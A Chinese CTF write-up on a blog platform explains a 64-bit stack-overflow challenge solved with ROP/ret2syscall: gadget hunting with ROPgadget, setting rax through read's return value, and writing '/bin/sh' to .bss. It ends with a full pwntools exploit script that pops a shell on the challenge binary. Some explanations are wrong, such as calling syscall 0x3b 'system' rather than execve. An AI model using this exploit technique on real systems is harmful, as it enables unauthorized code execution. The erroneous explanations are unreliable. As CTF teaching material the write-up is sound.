CTFpwn栈溢出之64位ROP基础构造ret2syscall简单题
  kfLTHs171Dp5 2023年11月30日 27 0

一,初步分析题目

话不多说,先看看IDA。

CTFpwn栈溢出之64位ROP基础构造ret2syscall简单题_ROP构造

main里啥都没有,看看vuln。

CTFpwn栈溢出之64位ROP基础构造ret2syscall简单题_CTFpwn_02

笑死了,知道不用libc,还留下栈溢出勾引我。

CTFpwn栈溢出之64位ROP基础构造ret2syscall简单题_ret2syscall_03

shift+f12看到没有/bin/sh字符串,也没有system函数。

二,ROP链的概念及基础原理

这里就得引出一个新的概念了,叫做ROP链构造。这种方法可以让我们在没有system函数及/bin/sh字符串时调用system函数及让其读入/bin/sh成功提权。

WHY?

且听我慢慢道来

1.在64位中,所有的函数调用都与寄存器有着千丝万缕的联系。所有的函数的前六个参数分别从rdi, rsi, rdx, rcx, r8, r9读取,而第七个参数开始会从栈中读取。system函数也不例外。

CTFpwn栈溢出之64位ROP基础构造ret2syscall简单题_CTFpwn_04


我们看到system函数只有一个参数,所以command这个参数会从rdi里面读取严格来说rdi存着的是指向命令的地址,因为很有可能一个寄存器存不下一整条字符串命令。

2.从寄存器和汇编层面看看system函数的调用条件。

首先rax存着0x3b,rdi存着system读入的命令的地址(命令其实是字符串,所以rdi存着的就是一个char*)。

在这些条件满足之后,如果汇编指令出现这个指令

call syscall

就会调用system函数。并且从rdi所指向的命令读入命令。

是不是觉得很奇怪,调用syscall会调用system,这样不是很绕吗。

让我们剖析一下为什么

其实syscall可以理解为一个路口,当程序走到路口之后,会根据rax寄存器的值选择往哪个路口走去执行哪个函数。而system函数对应的rax就是0x3b。0x3b就是64位系统中system函数的系统调用号。

而syscall中的函数还有很多比如read,write,其系统调用号分别是0,1.注意系统调用号对于每个系统都不一样,linux64,linux32,windows等等。只不过pwn题的服务器一般都是在linux下的,而64或32肯定和题目文件一致。

总结一下,我们在pwn的过程中需要让rax是3b,让rdi指向的地址有“/bin/sh”.

而接下来我会介绍为什么ROP可以让我们做到这些。

HOWTOROP?

打开你的终端,我用的工具是pwndbg自带的ROPgadget。这个工具可以根据你的需要找出题目中你需要的各种汇编指令层面的小片段。

ROPgadget常用命令

我们需要的是“pop|ret”这样的片段,因为我们可以通过read函数的读入控制栈里面的内容,而pop指令刚好可以把栈上的内容存到指定寄存器上,而ret指令的作用则是读入我们的地址,让程序再次跳转至我们需要的地方。

CTFpwn栈溢出之64位ROP基础构造ret2syscall简单题_CTFpwn_05

ROPgadget --binary 文件名 --only "pop|ret" | grep rdi

还有其他命令(比如直接找/bin/sh),可以做题中灵活使用。

CTFpwn栈溢出之64位ROP基础构造ret2syscall简单题_CTFpwn_06

比如这里找rdi但不找pop加ret,反而发现了一个pop rdi 加syscall的优质片段。可以在rax设置好之后直接跳转。

CTFpwn栈溢出之64位ROP基础构造ret2syscall简单题_ret2syscall_07

在IDA看到如果只要poprdi加syscall的开始地址是0x401199

但是有一个问题rdi有了,rax的没找到,咋办。

read函数特殊利用

read和write函数的返回值是读入或写出的字符,并且会存到rax里。是不是眼前一亮。我们只需控制只输入0x3b个字节让read读入即可。

再分析一下IDA。

CTFpwn栈溢出之64位ROP基础构造ret2syscall简单题_CTFpwn_02

现在还有一个问题,程序里没有“/bin/sh”字符串,需要我们写入,写入倒是好办,毕竟有两个read函数,可是我们要pop进rdi的是“/bin/sh”的地址,栈上的地址如何获取是一个比较棘手的问题。毕竟IDA看不了,你要说泄露我也不知道有啥办法。

但是由于出题人的仁慈,第二个read的str双击后我们发现是在bss段,这个地址是我们可以在IDA看到的。

CTFpwn栈溢出之64位ROP基础构造ret2syscall简单题_ret2syscall_09

bss段就可以理解为C语言里面的全局变量,相比于栈储存我们的“/bin/sh”,不仅地址一目了然,而且不用担心会被销毁。(如果这里第二个read不是直接写到bss段的话,那我们只能自己构造一个read函数,并且让他写到我们指定的bss段。靠得还是通过控制寄存器,然后ret2syscall)

到这里这题就差不多了,细节可以在exp里面理解。

三,exp

from pwn import *
#from LibcSearcher import *
context(
    terminal = ['tmux','splitw','-h'],
    os = "linux",
    arch = "amd64",
    #arch = "i386",
    log_level="debug",
)
#elf = ELF("./vuln")
#libc = ELF('./libc-2.31.so')
io = process("./share")
#io = remote("1.container.jingsai.apicon.cn",30333)
def debug():
    gdb.attach(io)
    pause()
debug()
################################################
前面的是tmux终端加pythonDEBUG的调试界面,在终端运行该脚本就行,效果很好
offet = 40#溢出所需字节数
bss = p64(0x404080)#刚刚在IDA找到的str1地址段
pop_rdi_syscall = 0x401199#优质片段
shellcode = b'/bin/sh'#用来结束这个字符串
payload = cyclic(offet)#垃圾数据
payload += p64(pop_rdi_syscall) + p64(bss)#把bss传入rdi
payload2 = b'/bin/sh'+b'a'*(0x3b-0x8)#填充到0x3a,保证第二个read执行后会让rax是0x3
#因为sendline和sendlineafter自带一个\n在末尾,如果不想要就send和sendafter
io.sendlineafter('interesting?\n>',payload)
io.sendlineafter('Anything else?\n>',payload2)
io.interactive()

我们理一下程序运行的顺序,程序会read进我们的payload,然后read第二段读入payload并且把我们的“/bin/sh”写入bss段,在第二个read结束之后rax得到返回值0x3b。这时函数结束,ret开始,pop rdi让rdi里的值变成刚刚“/bin/sh”字符串的首地址,而后syscall执行,调用system提权。

注意,我们payload溢出的那部分只有在整个函数ret之后才会发挥作用。当时我就搞错了,以为第一段payload调用system之后才在第二段写入"/bin/sh"是错的。

希望能帮到你!



【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

  1. 分享:
最后一次编辑于 2023年11月30日 0

暂无评论

kfLTHs171Dp5